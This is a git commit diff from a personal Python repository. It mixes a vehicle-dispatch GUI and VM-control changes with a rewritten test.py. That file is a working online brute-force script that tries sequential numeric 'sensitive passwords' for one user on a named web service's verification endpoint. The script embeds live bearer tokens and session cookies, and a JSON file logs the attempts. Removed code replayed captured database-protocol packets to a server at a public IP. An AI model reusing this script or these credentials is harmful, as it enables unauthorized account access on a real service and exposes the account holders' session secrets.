Ver Fonte

Merge branch 'main' of https://git.port.run/puge/pythonTest

PUGE há 1 mês atrás
pai
commit
75af9629b5
5 ficheiros alterados com 753 adições e 395 exclusões
  1. 47 0
      attempt_results.json
  2. 28 253
      test.py
  3. 167 92
      三一平台.py
  4. 189 50
      控制vm虚拟机.py
  5. 322 0
      解密机大侠.py

+ 47 - 0
attempt_results.json

@@ -0,0 +1,47 @@
+[
+  {
+    "password": 10000,
+    "response": {
+      "msg": "密码错误",
+      "code": 500
+    },
+    "status_code": 200,
+    "timestamp": "2026-07-15 03:37:29"
+  },
+  {
+    "password": 10001,
+    "response": {
+      "msg": "密码错误",
+      "code": 500
+    },
+    "status_code": 200,
+    "timestamp": "2026-07-15 03:37:30"
+  },
+  {
+    "password": 10002,
+    "response": {
+      "msg": "密码错误",
+      "code": 500
+    },
+    "status_code": 200,
+    "timestamp": "2026-07-15 03:37:31"
+  },
+  {
+    "password": 10003,
+    "response": {
+      "msg": "密码错误",
+      "code": 500
+    },
+    "status_code": 200,
+    "timestamp": "2026-07-15 03:37:32"
+  },
+  {
+    "password": 10004,
+    "response": {
+      "msg": "密码错误",
+      "code": 500
+    },
+    "status_code": 200,
+    "timestamp": "2026-07-15 03:37:33"
+  }
+]

+ 28 - 253
test.py

@@ -1,260 +1,35 @@
-import socket
+import requests
 import time
 
-def replay_full_session():
-    """完整回放新抓包中的所有通信(保持顺序和时间间隔)"""
-    HOST = "47.108.151.236"
-    PORT = 211
-    
-    # 从新抓包中提取的所有客户端发送的包(按时间顺序)
-    packets = [
-        # 14:23:27.392 - 握手
-        bytes.fromhex(
-            "04 da 00 00 54 00 00 00 08 00 00 00 26 00 00 00"
-            "7b 00 43 00 34 00 35 00 46 00 44 00 33 00 33 00"
-            "43 00 2d 00 37 00 39 00 30 00 46 00 2d 00 34 00"
-            "34 00 45 00 41 00 2d 00 42 00 33 00 41 00 44 00"
-            "2d 00 34 00 30 00 30 00 36 00 41 00 44 00 35 00"
-            "31 00 36 00 38 00 37 00 37 00 7d 00"
-        ),
-        # 14:23:27.641 - id02
-        bytes.fromhex(
-            "03 da 00 00 18 00 00 00 03 00 00 00 00 00 00 00"
-            "08 00 00 00 04 00 00 00 69 00 64 00 30 00 32 00"
-        ),
-        # 14:23:27.760 - 复杂联查
-        bytes.fromhex(
-            "02 da 00 00 72 03 00 00 03 00 00 00 00 00 00 00"
-            "03 00 00 00 2e 01 00 00 03 00 00 00 01 00 00 00"
-            "0b 00 00 00 ff ff 03 00 00 00 02 00 00 00 03 00"
-            "00 00 00 00 00 08 40 00 00 9a 01 00 00 73 00 65"
-            "00 6c 00 65 00 63 00 74 00 20 00 64 00 2e 00 6d"
-            "00 64 00 6d 00 63 00 2c 00 62 00 2e 00 67 00 6b"
-            "00 78 00 6d 00 2c 00 62 00 2e 00 6b 00 61 00 68"
-            "00 61 00 6f 00 2c 00 63 00 2e 00 6e 00 61 00 6d"
-            "00 65 00 2c 00 63 00 2e 00 6b 00 61 00 68 00 61"
-            "00 6f 00 20 00 61 00 73 00 20 00 79 00 67 00 6b"
-            "00 68 00 2c 00 61 00 2e 00 63 00 63 00 79 00 69"
-            "00 64 00 2c 00 61 00 2e 00 64 00 6a 00 69 00 64"
-            "00 2c 00 61 00 2e 00 73 00 68 00 72 00 2c 00 61"
-            "00 2e 00 62 00 65 00 69 00 7a 00 68 00 75 00 2c"
-            "00 61 00 2e 00 64 00 6a 00 6c 00 78 00 2c 00 61"
-            "00 2e 00 72 00 69 00 71 00 69 00 2c 00 61 00 2e"
-            "00 7a 00 73 00 6c 00 2c 00 61 00 2e 00 7a 00 6a"
-            "00 65 00 2c 00 61 00 2e 00 77 00 66 00 6b 00 2c"
-            "00 61 00 2e 00 7a 00 6b 00 6a 00 65 00 2c 00 61"
-            "00 2e 00 73 00 72 00 2c 00 61 00 2e 00 63 00 7a"
-            "00 6b 00 6a 00 73 00 2c 00 61 00 2e 00 64 00 78"
-            "00 69 00 64 00 2c 00 61 00 2e 00 64 00 6a 00 6c"
-            "00 78 00 2c 00 61 00 2e 00 6b 00 6d 00 6d 00 63"
-            "00 20 00 66 00 72 00 6f 00 6d 00 20 00 79 00 77"
-            "00 20 00 61 00 20 00 6a 00 6f 00 69 00 6e 00 20"
-            "00 67 00 75 00 6b 00 65 00 20 00 62 00 20 00 6f"
-            "00 6e 00 20 00 61 00 2e 00 64 00 78 00 69 00 64"
-            "00 3d 00 62 00 2e 00 6b 00 61 00 68 00 61 00 6f"
-            "00 20 00 6a 00 6f 00 69 00 6e 00 20 00 79 00 75"
-            "00 61 00 6e 00 67 00 6f 00 6e 00 67 00 20 00 63"
-            "00 20 00 6f 00 6e 00 20 00 61 00 2e 00 79 00 77"
-            "00 79 00 69 00 64 00 3d 00 63 00 2e 00 6b 00 61"
-            "00 68 00 61 00 6f 00 20 00 6a 00 6f 00 69 00 6e"
-            "00 20 00 62 00 75 00 6d 00 65 00 6e 00 20 00 64"
-            "00 20 00 6f 00 6e 00 20 00 72 00 69 00 67 00 68"
-            "00 74 00 28 00 61 00 2e 00 64 00 6a 00 69 00 64"
-            "00 2c 00 31 00 29 00 3d 00 64 00 2e 00 62 00 75"
-            "00 6d 00 65 00 6e 00 69 00 64 00 20 00 77 00 68"
-            "00 65 00 72 00 65 00 20 00 73 00 75 00 62 00 73"
-            "00 74 00 72 00 69 00 6e 00 67 00 28 00 61 00 2e"
-            "00 64 00 6a 00 69 00 64 00 2c 00 31 00 30 00 2c"
-            "00 31 00 29 00 3d 00 27 00 4c 00 27 00 20 00 61"
-            "00 6e 00 64 00 20 00 61 00 2e 00 72 00 69 00 71"
-            "00 69 00 20 00 62 00 65 00 74 00 77 00 65 00 65"
-            "00 6e 00 20 00 27 00 32 00 30 00 32 00 36 00 2d"
-            "00 30 00 36 00 2d 00 30 00 38 00 27 00 20 00 61"
-            "00 6e 00 64 00 20 00 27 00 32 00 30 00 32 00 36"
-            "00 2d 00 30 00 36 00 2d 00 30 00 38 00 27 00 20"
-            "00 61 00 6e 00 64 00 20 00 72 00 69 00 67 00 68"
-            "00 74 00 28 00 61 00 2e 00 64 00 6a 00 69 00 64"
-            "00 2c 00 31 00 29 00 3d 00 27 00 41 00 27 00 20"
-            "00 6f 00 72 00 64 00 65 00 72 00 20 00 62 00 79"
-            "00 20 00 61 00 2e 00 72 00 69 00 71 00 69 00 20"
-            "00 64 00 65 00 73 00 63 00 2c 00 61 00 2e 00 64"
-            "00 6a 00 69 00 64 00 20 00 64 00 65 00 73 00 63"
-            "00 03 00 00 00 63 00 00 00"
-        ),
-        # 14:23:29.643 - yuangang 查询
-        bytes.fromhex(
-            "02 da 00 00 b2 00 00 00 03 00 00 00 00 00 00 00"
-            "03 00 00 00 2e 01 00 00 03 00 00 00 01 00 00 00"
-            "0b 00 00 00 ff ff 03 00 00 00 02 00 00 00 03 00"
-            "00 00 00 00 00 08 00 00 00 3a 00 00 00 73 00 65"
-            "00 6c 00 65 00 63 00 74 00 20 00 64 00 69 00 73"
-            "00 74 00 69 00 6e 00 63 00 74 00 20 00 6e 00 61"
-            "00 6d 00 65 00 20 00 66 00 72 00 6f 00 6d 00 20"
-            "00 79 00 75 00 61 00 6e 00 67 00 6f 00 6e 00 67"
-            "00 20 00 77 00 68 00 65 00 72 00 65 00 20 00 79"
-            "00 78 00 62 00 6a 00 3d 00 30 00 20 00 6f 00 72"
-            "00 64 00 65 00 72 00 20 00 62 00 79 00 20 00 31"
-            "00 03 00 00 00 63 00 00 00"
-        ),
-        # 14:23:29.871 - bumen 查询
-        bytes.fromhex(
-            "02 da 00 00 80 00 00 00 03 00 00 00 00 00 00 00"
-            "03 00 00 00 2e 01 00 00 03 00 00 00 01 00 00 00"
-            "0b 00 00 00 ff ff 03 00 00 00 02 00 00 00 03 00"
-            "00 00 00 00 00 08 40 00 00 21 00 00 00 73 00 65"
-            "00 6c 00 65 00 63 00 74 00 20 00 6d 00 64 00 6d"
-            "00 63 00 20 00 66 00 72 00 6f 00 6d 00 20 00 62"
-            "00 75 00 6d 00 65 00 6e 00 20 00 6f 00 72 00 64"
-            "00 65 00 72 00 20 00 62 00 79 00 20 00 31 00 03"
-            "00 00 00 63 00 00 00"
-        ),
-        # 14:23:30.112 - pinpai 查询
-        bytes.fromhex(
-            "02 da 00 00 bc 00 00 00 03 00 00 00 00 00 00 00"
-            "03 00 00 00 2e 01 00 00 03 00 00 00 01 00 00 00"
-            "0b 00 00 00 ff ff 03 00 00 00 02 00 00 00 03 00"
-            "00 00 00 00 00 08 40 00 00 3f 00 00 00 73 00 65"
-            "00 6c 00 65 00 63 00 74 00 20 00 64 00 69 00 73"
-            "00 74 00 69 00 6e 00 63 00 74 00 20 00 70 00 69"
-            "00 6e 00 70 00 61 00 69 00 20 00 66 00 72 00 6f"
-            "00 6d 00 20 00 71 00 69 00 61 00 6e 00 7a 00 68"
-            "00 75 00 69 00 5f 00 6a 00 70 00 20 00 77 00 68"
-            "00 65 00 72 00 65 00 20 00 79 00 78 00 62 00 6a"
-            "00 3d 00 30 00 20 00 6f 00 72 00 64 00 65 00 72"
-            "00 20 00 62 00 79 00 20 00 31 00 03 00 00 00 63"
-            "00 00 00"
-        ),
-    ]
-    
-    # 抓包中的时间间隔(秒)
-    intervals = [
-        0,          # 第一个包
-        0.249,      # 27.392 -> 27.641
-        0.119,      # 27.641 -> 27.760
-        1.883,      # 27.760 -> 29.643
-        0.228,      # 29.643 -> 29.871
-        0.241,      # 29.871 -> 30.112
-    ]
-    
-    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    sock.settimeout(30)
-    
-    all_responses = []
-    
+url = "https://cppaidan.com/paidanserv/system/user/verifySensitivePassword"
+
+headers = {
+    "accept": "application/json, text/plain, */*",
+    "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7",
+    "authorization": "Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImM0MjQ0ZWFhLWM0MDktNGRmYS04NTk5LTk5NGQ5N2FmODQ1NyJ9.uPEKT90Q2QGQeWqz5Y3-TUCapP4-UChKqkcxVS6FgkIdGSa8PYLadEOMiC0OSL2hVRTx54ZL-6SjfVrpoiUWxA",
+    "cookie": "Admin-Paidan-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6Ijk3OWE1YWVkLWZjYTctNDY1Zi1iMmU2LTE1ZjdhZDkyY2NmNCJ9.9RwvxQdkbCWs4K_4CXuyO3OW6Uh42NR03zkz7r-ugc3lvyxvUzdtToug2BqqtdvO0lh6t4hHKgUn3S8QbY21uw",
+    "referer": "https://cppaidan.com/paidan/system/user"
+}
+
+password = 10303
+while password < 1000000:
     try:
-        sock.connect((HOST, PORT))
-        print("[+] 连接成功")
+        response = requests.post(
+            url,
+            headers=headers,
+            json={"userId": 251, "sensitivePassword": str(password)},
+            timeout=3
+        )
         
-        for i, packet in enumerate(packets):
-            print(f"\n[包 {i+1}] 发送 {len(packet)} 字节")
-            sock.send(packet)
-            
-            # 接收响应
-            try:
-                # 对于查询包,可能需要接收更多数据
-                if i >= 2:  # 查询包
-                    total = b''
-                    sock.settimeout(10)
-                    while True:
-                        try:
-                            chunk = sock.recv(65536)
-                            if not chunk:
-                                break
-                            total += chunk
-                            print(f"    收到 {len(chunk)} 字节,累计 {len(total)}")
-                            if len(chunk) < 65536:
-                                time.sleep(0.5)
-                                break
-                        except socket.timeout:
-                            break
-                    if total:
-                        all_responses.append((i, total))
-                        print(f"    [✓] 总响应: {len(total)} 字节")
-                        # 保存响应
-                        with open(f"response_{i+1}.bin", "wb") as f:
-                            f.write(total)
-                        parse_response(total, i+1)
-                else:
-                    # 握手和id02的响应
-                    resp = sock.recv(1024)
-                    print(f"    响应: {resp.hex()}")
-                    all_responses.append((i, resp))
-            except socket.timeout:
-                print(f"    响应超时")
-            
-            # 按抓包时间间隔等待
-            if i < len(intervals) - 1:
-                time.sleep(intervals[i + 1])
+        data = response.json()
+        print(password)
         
-        print("\n" + "="*60)
-        print("所有响应接收完成")
-        print("="*60)
+        if not (data.get("code") == 500 and data.get("msg") == "密码错误"):
+            print(data)
+            break
         
+        password += 1
+            
     except Exception as e:
-        print(f"错误: {e}")
-        import traceback
-        traceback.print_exc()
-    finally:
-        sock.close()
-
-def parse_response(data, packet_num):
-    """解析响应数据"""
-    print(f"\n--- 解析包 {packet_num} 的响应 ---")
-    
-    if len(data) < 8:
-        return
-    
-    # 检查响应命令
-    cmd = data[0:2]
-    length = int.from_bytes(data[4:8], 'little')
-    print(f"命令: {cmd.hex()}, 长度: {length}")
-    
-    # 查找 0x03 开头的字符串
-    results = []
-    i = 0
-    while i < len(data) - 2:
-        if data[i] == 0x03:
-            str_len = data[i + 1]
-            if i + 2 + str_len <= len(data):
-                str_data = data[i + 2:i + 2 + str_len]
-                try:
-                    # 尝试 GBK
-                    text = str_data.decode('gbk', errors='ignore')
-                    if text.strip() and len(text) > 1:
-                        results.append(text)
-                except:
-                    try:
-                        text = str_data.decode('utf-8', errors='ignore')
-                        if text.strip() and len(text) > 1:
-                            results.append(text)
-                    except:
-                        pass
-                i += 2 + str_len
-            else:
-                i += 1
-        else:
-            i += 1
-    
-    if results:
-        print(f"\n找到 {len(results)} 条记录:")
-        for i, text in enumerate(results[:30], 1):
-            print(f"  {i}. {text}")
-        
-        with open(f"parsed_{packet_num}.txt", "w", encoding="utf-8") as f:
-            f.write('\n'.join(results))
-    else:
-        # 尝试 UTF-16LE
-        try:
-            text = data.decode('utf-16le', errors='ignore')
-            lines = [line.strip() for line in text.split('\x00') if len(line.strip()) > 2]
-            if lines:
-                print(f"\nUTF-16LE 解码找到 {len(lines)} 行:")
-                for i, line in enumerate(lines[:30], 1):
-                    print(f"  {i}. {line[:100]}")
-                with open(f"parsed_utf16_{packet_num}.txt", "w", encoding="utf-8") as f:
-                    f.write('\n'.join(lines))
-        except:
-            pass
-
-if __name__ == "__main__":
-    replay_full_session()
+        print(f"错误: {e},重试密码: {password}")
+        time.sleep(1)  # 错误后等待1秒再重试

+ 167 - 92
三一平台.py

@@ -115,9 +115,25 @@ class WebSocketClient(QThread):
         """处理接收到的图片"""
         try:
             import base64
+            import json
+            import os
             
             # 获取图片的base64编码
-            img_base64 = data.get('value', '')
+            value = data.get('value', '{}')
+            print(f"收到原始value: {value}")
+            
+            # 如果 value 已经是 dict,直接使用
+            if isinstance(value, dict):
+                img_base64 = value.get("base64", "")
+                plate = value.get("plate", "")
+            else:
+                # 如果是字符串,尝试解析 JSON
+                value_dict = json.loads(value)
+                img_base64 = value_dict.get("base64", "")
+                plate = value_dict.get("plate", "")
+            
+            print(f"解析到车牌: {plate}")
+            
             if not img_base64:
                 self.error.emit("图片数据为空")
                 return
@@ -132,8 +148,22 @@ class WebSocketClient(QThread):
             # 解码base64
             image_data = base64.b64decode(img_base64)
             
-            # 固定保存到C盘根目录
-            filepath = "C:/imgIn.jpeg"
+            # 获取用户选择的保存目录
+            folder_path = self.get_folder_path()
+            if not folder_path:
+                self.error.emit("未选择文件夹,无法保存图片")
+                return
+            
+            # 确保目录存在
+            if not os.path.exists(folder_path):
+                try:
+                    os.makedirs(folder_path)
+                except Exception as e:
+                    self.error.emit(f"创建目录失败: {str(e)}")
+                    return
+            
+            # 保存到用户选择的目录
+            filepath = os.path.join(folder_path, plate, "imgIn.jpeg")
             
             # 保存图片
             with open(filepath, 'wb') as f:
@@ -146,7 +176,8 @@ class WebSocketClient(QThread):
                 'type': 'imgSaved',
                 'filepath': filepath,
                 'filename': "imgIn.jpeg",
-                'sender_id': sender_id
+                'sender_id': sender_id,
+                "plate": plate
             }
             self.message_received.emit(success_msg)
             
@@ -303,7 +334,11 @@ class MainWindow(QMainWindow):
         self.is_processing_scan = False  # 是否正在处理扫码任务
         self.scan_timer = QTimer()  # 定时器用于间隔执行
         self.scan_timer.timeout.connect(self.process_next_scan)
-        
+        self.current_scan_plate = None  # 当前等待发送2001的车牌
+        self.wait_timeout_timer = QTimer()  # 等待超时定时器
+        self.wait_timeout_timer.setSingleShot(True)  # 单次触发
+        self.wait_timeout_timer.timeout.connect(self.on_wait_timeout)
+        self.car_task_state = {}
         # WebSocket相关
         self.ws_client = None
         self.online_clients = {}  # userID -> 客户端信息
@@ -460,9 +495,9 @@ class MainWindow(QMainWindow):
         
         self.table = QTableWidget()
         # 修改列数:增加"扫码"列和"操作"列
-        self.table.setColumnCount(7)
-        self.table.setHorizontalHeaderLabels(["启用", "扫码", "车队名", "车牌号", "状态", "定位地址", "操作"])
-        self.table.horizontalHeader().setSectionResizeMode(5, QHeaderView.Stretch)
+        self.table.setColumnCount(6)  # 减少一列
+        self.table.setHorizontalHeaderLabels(["启用", "车队名", "车牌号", "状态", "定位地址", "操作"])
+        self.table.horizontalHeader().setSectionResizeMode(4, QHeaderView.Stretch)
         self.table.setAlternatingRowColors(True)
         table_layout.addWidget(self.table)
         
@@ -473,14 +508,7 @@ class MainWindow(QMainWindow):
         self.deselect_all_btn = QPushButton("取消全选启用")
         self.deselect_all_btn.clicked.connect(self.deselect_all_enable)
         btn_layout.addWidget(self.deselect_all_btn)
-        
-        self.select_all_scan_btn = QPushButton("全选扫码")
-        self.select_all_scan_btn.clicked.connect(self.select_all_scan)
-        btn_layout.addWidget(self.select_all_scan_btn)
-        self.deselect_all_scan_btn = QPushButton("取消全选扫码")
-        self.deselect_all_scan_btn.clicked.connect(self.deselect_all_scan)
-        btn_layout.addWidget(self.deselect_all_scan_btn)
-        
+
         btn_layout.addStretch()
         table_layout.addLayout(btn_layout)
         
@@ -593,7 +621,7 @@ class MainWindow(QMainWindow):
     def on_ws_message(self, data):
         """处理WebSocket消息"""
         msg_type = data.get('type')
-        self.add_log(json.dumps(data, ensure_ascii=False))
+        print(json.dumps(data, ensure_ascii=False))
         if msg_type == 'getList':
             # 客户端列表
             clients = data.get('value', [])
@@ -603,91 +631,133 @@ class MainWindow(QMainWindow):
         elif msg_type == 'imgSaved':
             # 图片保存成功,触发扫码任务
             self.add_log(f"📸 图片已保存: {data.get('filepath', '')}")
-            self.start_scan_tasks()
+            self.start_scan_tasks(data.get('plate', ''))
         elif msg_type == 'drive':  # 收到"开车"命令
-            # 外部WebSocket发来的开车命令
             car_plate = data.get('value', '')
             if car_plate:
                 self.add_log(f"📤 收到外部WebSocket开车命令,车辆: {car_plate}")
+                # 设置状态为"已发车"
+                self.car_task_state[car_plate] = '已发车'
+                self.update_task_state_column()
+                self.add_log(f"📌 {car_plate} 状态更新为: 已发车")
+                # 停止超时定时器
+                self.wait_timeout_timer.stop()
                 # 发送2001指令
                 self.send_cmd_to_vehicle(car_plate, "2001")
+                # 清空当前车牌
+                self.current_scan_plate = None
                 # 继续处理下一辆车
                 self.process_next_scan()
             else:
                 self.add_log(f"⚠️ 收到开车命令但车牌为空")
         
     
-    def start_scan_tasks(self):
-        """开始执行扫码任务"""
-        # 如果正在处理,忽略新的请求
+    def start_scan_tasks(self, plate):
+        """开始执行扫码任务 - 只处理收到的车牌"""
         if self.is_processing_scan:
             self.add_log("⏳ 扫码任务正在处理中,忽略本次请求")
             return
         
-        # 获取所有勾选了扫码的车辆
-        scan_vehicles = []
+        if not plate:
+            self.add_log("⚠️ 收到的车牌为空,跳过")
+            return
+        
+        # 检查"启用"复选框
+        if not self.car_checked_state.get(plate, False):
+            self.add_log(f"⚠️ 车辆 {plate} 未勾选启用,跳过")
+            return
+        
+        # 检查该车牌是否存在
+        car_exists = False
         for row in range(self.table.rowCount()):
-            scan_checkbox = self.table.cellWidget(row, 1)
-            if scan_checkbox and scan_checkbox.isChecked():
-                car_plate = self.table.item(row, 3).text() if self.table.item(row, 3) else ''
-                if car_plate:
-                    scan_vehicles.append(car_plate)
+            car_plate = self.table.item(row, 2).text() if self.table.item(row, 2) else ''
+            if car_plate == plate:
+                car_exists = True
+                break
         
-        if not scan_vehicles:
-            self.add_log("⚠️ 没有勾选扫码的车辆")
+        if not car_exists:
+            self.add_log(f"⚠️ 车辆 {plate} 不在列表中,跳过")
             return
         
-        # 初始化队列
-        self.scan_task_queue = scan_vehicles.copy()
+        # 设置状态为"等待扫码"
+        self.car_task_state[plate] = '等待扫码'
+        self.update_task_state_column()
+        self.add_log(f"📌 {plate} 状态更新为: 等待扫码")
+        
+        # 初始化队列 - 只包含这一个车牌
+        self.scan_task_queue = [plate]
         self.is_processing_scan = True
+        self.current_scan_plate = None
+        self.wait_timeout_timer.stop()
         
-        self.add_log(f"🚀 开始扫码任务,共 {len(scan_vehicles)} 辆车")
-        self.add_log(f"📋 车辆列表: {', '.join(scan_vehicles)}")
+        self.add_log(f"🚀 开始扫码任务,车辆: {plate}")
         
-        # 立即处理第一个
+        # 立即处理第一个(也是唯一一个)
         self.process_next_scan()
 
     def process_next_scan(self):
         """处理下一个扫码任务"""
-        # 如果监控已停止,不再处理
         if not self.is_monitoring:
             self.add_log("⏹️ 监控已停止,取消扫码任务")
             self.is_processing_scan = False
             self.scan_task_queue = []
             self.current_scan_plate = None
             self.scan_timer.stop()
+            self.wait_timeout_timer.stop()
             return
         
         if not self.scan_task_queue:
-            # 所有任务完成
             self.is_processing_scan = False
             self.add_log("✅ 所有扫码任务已完成")
             self.statusBar().showMessage("扫码任务全部完成")
             self.scan_timer.stop()
             self.current_scan_plate = None
+            self.wait_timeout_timer.stop()
             return
         
-        # 取出第一个车辆
         car_plate = self.scan_task_queue.pop(0)
         self.current_scan_plate = car_plate
         self.add_log(f"🔄 正在处理扫码车辆: {car_plate} (剩余 {len(self.scan_task_queue)} 辆)")
         
-        # 执行测试发车(标记为来自扫码任务)
         self.on_test_drive(car_plate, from_scan=True)
         
-        # 启动定时器,1分钟后发送指令2001,然后处理下一辆
-        # 使用 QTimer.singleShot 单次定时器,传入当前车牌
-        self.add_log(f"⏳ 等待外部WebSocket通知发送2001指令到: {car_plate}")
-        # QTimer.singleShot(60000, lambda: self.send_2001_and_next(car_plate))
+        self.add_log(f"⏳ 等待外部WebSocket通知发送2001指令到: {car_plate},超时时间2分钟")
+        
+        self.wait_timeout_timer.start(120000)
 
-    def send_2001_and_next(self, car_plate):
-        """发送2001指令给指定车辆,然后继续处理下一个"""
-        self.add_log(f"📤 发送指令 2001 到车辆: {car_plate}")
-        self.send_cmd_to_vehicle(car_plate, "2001")
+    def on_wait_timeout(self):
+        """等待超时处理"""
+        if not self.current_scan_plate:
+            return
+        
+        car_plate = self.current_scan_plate
+        self.add_log(f"⏰ 等待超时(2分钟),未收到 {car_plate} 的WebSocket通知")
+        
+        # 取消该车辆的启用勾选
+        for row in range(self.table.rowCount()):
+            plate_item = self.table.item(row, 2)
+            if plate_item and plate_item.text() == car_plate:
+                enable_checkbox = self.table.cellWidget(row, 0)
+                if enable_checkbox:
+                    enable_checkbox.setChecked(False)
+                    self.car_checked_state[car_plate] = False
+                    self.add_log(f"❌ 已取消 {car_plate} 的启用勾选(超时)")
+                    break
+        
+        # 重置任务状态为"空闲"
+        self.car_task_state[car_plate] = '空闲'
+        self.update_task_state_column()
+        self.add_log(f"📌 {car_plate} 状态重置为: 空闲")
         
-        # 发送完指令后,继续处理下一辆(立即执行,不再等待)
+        # 清空当前车牌
+        self.current_scan_plate = None
+        
+        # 继续处理下一辆
+        self.add_log(f"⏭️ 继续处理下一辆车...")
         self.process_next_scan()
 
+
+
     def check_scan_complete(self):
         """检查扫码任务是否完成"""
         if not self.scan_task_queue and self.is_processing_scan:
@@ -904,31 +974,49 @@ class MainWindow(QMainWindow):
             enable_checkbox.stateChanged.connect(lambda state, plate=car_plate: self.on_enable_changed(plate, state))
             self.table.setCellWidget(row, 0, enable_checkbox)
             
-            # 第1列:扫码复选框
-            scan_checkbox = QCheckBox()
-            scan_checkbox.setChecked(self.car_scan_state.get(car_plate, False))
-            scan_checkbox.stateChanged.connect(lambda state, plate=car_plate: self.on_scan_changed(plate, state))
-            self.table.setCellWidget(row, 1, scan_checkbox)
+            # 第1列:车队名
+            self.table.setItem(row, 1, QTableWidgetItem(car.get('teamName', '')))
             
-            # 第2列:车队名
-            self.table.setItem(row, 2, QTableWidgetItem(car.get('teamName', '')))
+            # 第2列:车牌号
+            self.table.setItem(row, 2, QTableWidgetItem(car_plate))
             
-            # 第3列:车牌号
-            self.table.setItem(row, 3, QTableWidgetItem(car_plate))
+            # 第3列:状态(车辆定位状态)
+            self.table.setItem(row, 3, QTableWidgetItem(car.get('stateCn', '')))
             
-            # 第4列:状态
-            self.table.setItem(row, 4, QTableWidgetItem(car.get('stateCn', '')))
+            # 第4列:定位地址
+            self.table.setItem(row, 4, QTableWidgetItem(car.get('addr', '')))
             
-            # 第5列:定位地址
-            self.table.setItem(row, 5, QTableWidgetItem(car.get('addr', '')))
-            
-            # 第6列:操作按钮(测试发车)
+            # 第5列:操作按钮(测试发车)
             test_btn = QPushButton("测试发车")
             test_btn.clicked.connect(lambda checked, plate=car_plate: self.on_test_drive(plate))
-            self.table.setCellWidget(row, 6, test_btn)
+            self.table.setCellWidget(row, 5, test_btn)
+        
+        # 更新任务状态列(在表格后面添加一列显示任务状态)
+        self.update_task_state_column()
         
         self.statusBar().showMessage(f"车辆列表更新: {len(car_list)} 辆车")
-    
+
+    def update_task_state_column(self):
+        """更新任务状态列(在表格末尾添加)"""
+        # 检查是否已有任务状态列,如果没有则添加
+        if self.table.columnCount() < 7:
+            self.table.setColumnCount(7)
+            self.table.setHorizontalHeaderLabels(["启用", "车队名", "车牌号", "状态", "定位地址", "操作", "任务状态"])
+        
+        for row in range(self.table.rowCount()):
+            car_plate = self.table.item(row, 2).text() if self.table.item(row, 2) else ''
+            if car_plate:
+                task_state = self.car_task_state.get(car_plate, '空闲')
+                state_item = QTableWidgetItem(task_state)
+                # 根据状态设置颜色
+                if task_state == '空闲':
+                    state_item.setBackground(Qt.green)
+                elif task_state == '等待扫码':
+                    state_item.setBackground(Qt.yellow)
+                elif task_state == '已发车':
+                    state_item.setBackground(Qt.red)
+                self.table.setItem(row, 6, state_item)
+
     def on_query_error(self, error_msg):
         QMessageBox.critical(self, "错误", error_msg)
     
@@ -978,25 +1066,7 @@ class MainWindow(QMainWindow):
                 if car_plate:
                     self.car_checked_state[car_plate] = False
     
-    def select_all_scan(self):
-        """全选扫码"""
-        for row in range(self.table.rowCount()):
-            checkbox = self.table.cellWidget(row, 1)
-            if checkbox:
-                checkbox.setChecked(True)
-                car_plate = self.table.item(row, 3).text() if self.table.item(row, 3) else ''
-                if car_plate:
-                    self.car_scan_state[car_plate] = True
-    
-    def deselect_all_scan(self):
-        """取消全选扫码"""
-        for row in range(self.table.rowCount()):
-            checkbox = self.table.cellWidget(row, 1)
-            if checkbox:
-                checkbox.setChecked(False)
-                car_plate = self.table.item(row, 3).text() if self.table.item(row, 3) else ''
-                if car_plate:
-                    self.car_scan_state[car_plate] = False
+
     
     # ===== 测试发车功能 =====
     def on_test_drive(self, car_plate, from_scan=False):
@@ -1142,6 +1212,7 @@ class MainWindow(QMainWindow):
         
         # 停止扫码任务
         self.scan_timer.stop()
+        self.wait_timeout_timer.stop()  # 停止超时定时器
         self.is_processing_scan = False
         self.scan_task_queue = []
         self.current_scan_plate = None
@@ -1174,7 +1245,7 @@ class MainWindow(QMainWindow):
         """处理区域检测结果"""
         regions = data.get('list', [])
         current_time = datetime.now()
-        self.add_log(json.dumps(regions))
+        # self.add_log(json.dumps(regions))
         for region in regions:
             region_id = region.get('regionId')
             region_name = region.get('regionName', '未知')
@@ -1198,23 +1269,20 @@ class MainWindow(QMainWindow):
             if not car_id:
                 continue
 
-            # 先初始化车牌
             car_plate = None
             car_state = None
-            # 根据carId找车牌和状态
             for car in self.car_data:
                 if str(car.get('carId')) == str(car_id):
                     car_plate = car.get('carPlate')
-                    car_state = car.get('stateCn', '')  # 获取状态
+                    car_state = car.get('stateCn', '')
                     break
             
-            # 找不到车牌直接跳过
             if not car_plate:
                 continue
-                # 状态过滤:只处理 "在线-停车" 的车辆
+            
             if "在线-停车" not in car_state:
                 continue
-            # 核心:启用过滤(必须放这里)
+            
             if not self.car_checked_state.get(car_plate, False):
                 continue
             
@@ -1227,8 +1295,15 @@ class MainWindow(QMainWindow):
             if last_trigger is None or (current_time - last_trigger) >= timedelta(minutes=5):
                 self.triggered_records[car_plate][task_type] = current_time
                 task_name = "装车" if task_type == 'load' else "卸车"
+                
+                # 设置状态为"等待扫码"
+                self.car_task_state[car_plate] = '等待扫码'
+                self.update_task_state_column()
+                self.add_log(f"📌 {car_plate} 状态更新为: 等待扫码 (检测到{task_name})")
+                
                 self.add_log(f"🚛 {car_plate} 在 {region_name} 检测到{task_name}")
                 self.execute_task(car_plate, task_type)
+                break
     
     # ===== 执行任务 =====
     def execute_task(self, car_plate, task_type):

+ 189 - 50
控制vm虚拟机.py

@@ -302,7 +302,7 @@ class VmControlGUI:
         self.pause_duration = tk.StringVar(value="60")
 
         # ===== 脚本B变量 =====
-        self.channel_type = tk.StringVar(value="test_channel")
+        self.channel_type = tk.StringVar(value="控制虚拟机_1")
         self.ws_client = None
         self.is_b_running = False
         self.b_stop_flag = False
@@ -315,6 +315,7 @@ class VmControlGUI:
         self.b_stop_delay_max = tk.StringVar(value="30")
         self.b_wait_after_stop_min = tk.StringVar(value="200")
         self.b_wait_after_stop_max = tk.StringVar(value="500")
+        self.b_pause_duration = tk.StringVar(value="20")
 
         # ===== 激活坐标 =====
         self.ACTIVATE_X = 300
@@ -445,6 +446,10 @@ class VmControlGUI:
         ttk.Label(param_frame_b, text="最大:").grid(row=2, column=2, sticky=tk.W, pady=3, padx=(10, 0))
